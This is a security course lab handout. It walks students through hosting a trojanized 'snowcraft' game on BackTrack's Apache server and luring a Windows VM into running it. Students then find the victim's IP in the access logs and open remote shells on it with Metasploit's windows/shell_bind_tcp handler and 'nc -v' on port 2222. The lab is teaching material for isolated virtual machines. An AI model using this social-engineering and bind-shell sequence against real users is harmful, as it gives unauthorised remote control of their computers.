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(Trojan Horse 1: Lesson 4)

{ Social Engineer Trojan Horse and Connect with Metasploit and Netcat }


Section 0. Background Information
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Section 1. Start Up BackTrack5R1
  1. Start Up BackTrack5R1.
    • Instructions:
      1. Start Up your VMware Player
      2. Play virtual machine

     

  2. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.

     

  3. Bring up the GNOME
    • Instructions:
      1. Type startx

     

  4. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window

     

  5. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • My IP address 192.168.1.105.  In your case, it will probably be different.
      • You will later use this IP Address when give the prospective Victim the web link to the Trojan Horse Game.

 

  • Section 2. Start Up BackTrack Apache Web Server

     

    1. Check if Apache Web Server is Running
      • Instructions:
        1. ps -eaf | grep apache | grep -v grep | wc -l
          • "0" was returned because the Apache Web Server is not running.
        2. /etc/init.d/apache2 start
          • This is the Apache Web Server start up script.
        3. ps -eaf | grep apache
      • Notes:
        • Apache2 comes standard with BackTrack5R1.
        • If your version of BackTrack5R1 does not come with Apache, then do the following:
          1. dpkg --get-selections | grep apache2
            • If you do not see apache2 as installed, then continue to the next step..
          2. apt-get install apache2

     

  • Section 3. Start Up Windows Machine

     

    1. Booting up W7P32B
      • Instructions:
        1. Start up VMware Player
        2. Select W7P32B
        3. Play Virtual Machine
      • Note:
        • For those of you that are not part of my class, W7P32Bis a Windows 7 32 Bit Operating System.
        • Any version of Windows can be used.
        • But you must have first completed the pre-requisite labs listed in the overview section.

       

    2. W7P32B Authentication
      • Instructions:
        1. Login as student

     

    Section 4. Start up Internet Explorer

     

    1. Start Up Internet Explorer
      • Instructions:
        1. In the search box type "Internet Explorer"
        2. Under Programs, click on Internet Explorer

       

    2. Social Engineer Game
      • Instructions:
        1. Pretending, you could simulate receiving an email with a link pointing to the Trojan Horse game.
        2. In the Windows Internet Explorer address window put in the following address:
          • http://192.168.1.105/html/games/snowcraft.zip
          • Note: Replace 192.168.1.105 with the IP Address obtained from Section 1, Step 5.
        3. Press Enter
      • .

       

    3. File Download
      • Instructions:
        1. Click Save

       

       

    4. Save File
      • Instructions:
        1. The default download location should be as follows
          •  C:\Users\student\Downloads.
        2. Click Save

       

    5. Open Folder
      • Instructions:
        1. Click on Open Folder

       

    6. Extract Zip File
      • Instructions:
        1. Right Click on snowcraft
        2. Select Extract All...

       

    7. Select a Destination and Extract Files
      • Instructions:
        1. Take the Default location
        2. Click on Extract

       

    8. Open the snowcraft folder
      • Instructions:
        1. Right Click on snowcraft
        2. Click on Open

       

    9. Play Game
      • Instructions:
        1. Double Click on the snowcraft game

     

    Section 5. Its Metasploit Time

     

    1. Obtain IP Address of Victim Machine
      • Instructions:
        1. cd /var/log/apache2
        2. grep snowcraft access.log | tail | awk '{print $1}'
      • Note:
        • You can review the Apache log called access.log for anybody that download the snowcraft.zip file.
        • In this example, we see that the Victim machine is 192.168.1.110.
        • In your case, the IP address will be different.

       

    2. Start Up Metasploit msfconsole
      • Instructions:
        1. Applications --> msfconsole --> Exploitation Tools --> Network Exploitation Tools --> Metasploit Framework --> msfconsole.
      • Note:
        • Metasploit takes about 5 to 20 seconds to start up

       

    3. Set Handler and Payload
      • Instructions:
        1. use multi/handler
        2. set PAYLOAD windows/shell_bind_tcp

       

    4. Set Options, Launch Exploit
      • Instructions:
        1. show options
          • LPORT - This is the port of the victim's machine.
          • RHOST - This is the IP Address of the victim's machine.
        2. set LPORT 2222
          • Remember we are running chest.exe disguished as NetCat running on port 2222.
        3. set RHOST 192.168.1.110
          • This is the IP Address you obtain in Step 1 of this section.
        4. exploit -z
          • In my past labs, I have not used the "-z".
          • The "-z" option, backgrounds the process, so we can later upgrade to a Metasploit meterpreter session.

       

    5. Set Options, Launch Exploit
      • Instructions:
        1. Now that BackTrack is now connect to the Victim's machine using port 2222.
        2. sessions -l
          • List all the Metasploit sessions.
        3. sessions -i 1
          • Use Shell Session 1

       

    6. Welcome to to the DOS prompt
      • Instructions:
        1. cd \
        2. dir
        3. echo "Your Name"
        4. date
        5. Press <Enter>
      • Partial Proof of Lab:
        1. Do a PrtScn
        2. Paste into a word document

       

    7. Exit Metasploit
      • Instructions:
        1. Press the both the <Ctrl> and <z> keys at the same time.
        2. Answer "y"
        3. exit -y

     

     

    Section 6. Use Netcat to connect to Netcat
    1. Start up a terminal window
      • Instructions:
        1. Click on the Terminal Window

       

    2. Use BackTrack's Netcat to connect to the Victim's Netcat
      • Instructions:
        1. nc -v 192.168.1.110 2222
          • In your case, use the Victim's IP address you obtained in Section 1, Step 5.
        2. dir
        3. echo "Your Name"
      • Partial Proof of Lab:
        1. Do a PrtScn
        2. Paste into the SAME word document

     

    Section 7. Proof of Lab
    1. Do Section 5, Step 5 and Section 6, Step 2.
      • Proof of Lab:
        1. Do the required PrtScn's
        2. Paste into the SAME word document
        3. Upload to Moodle

     

     



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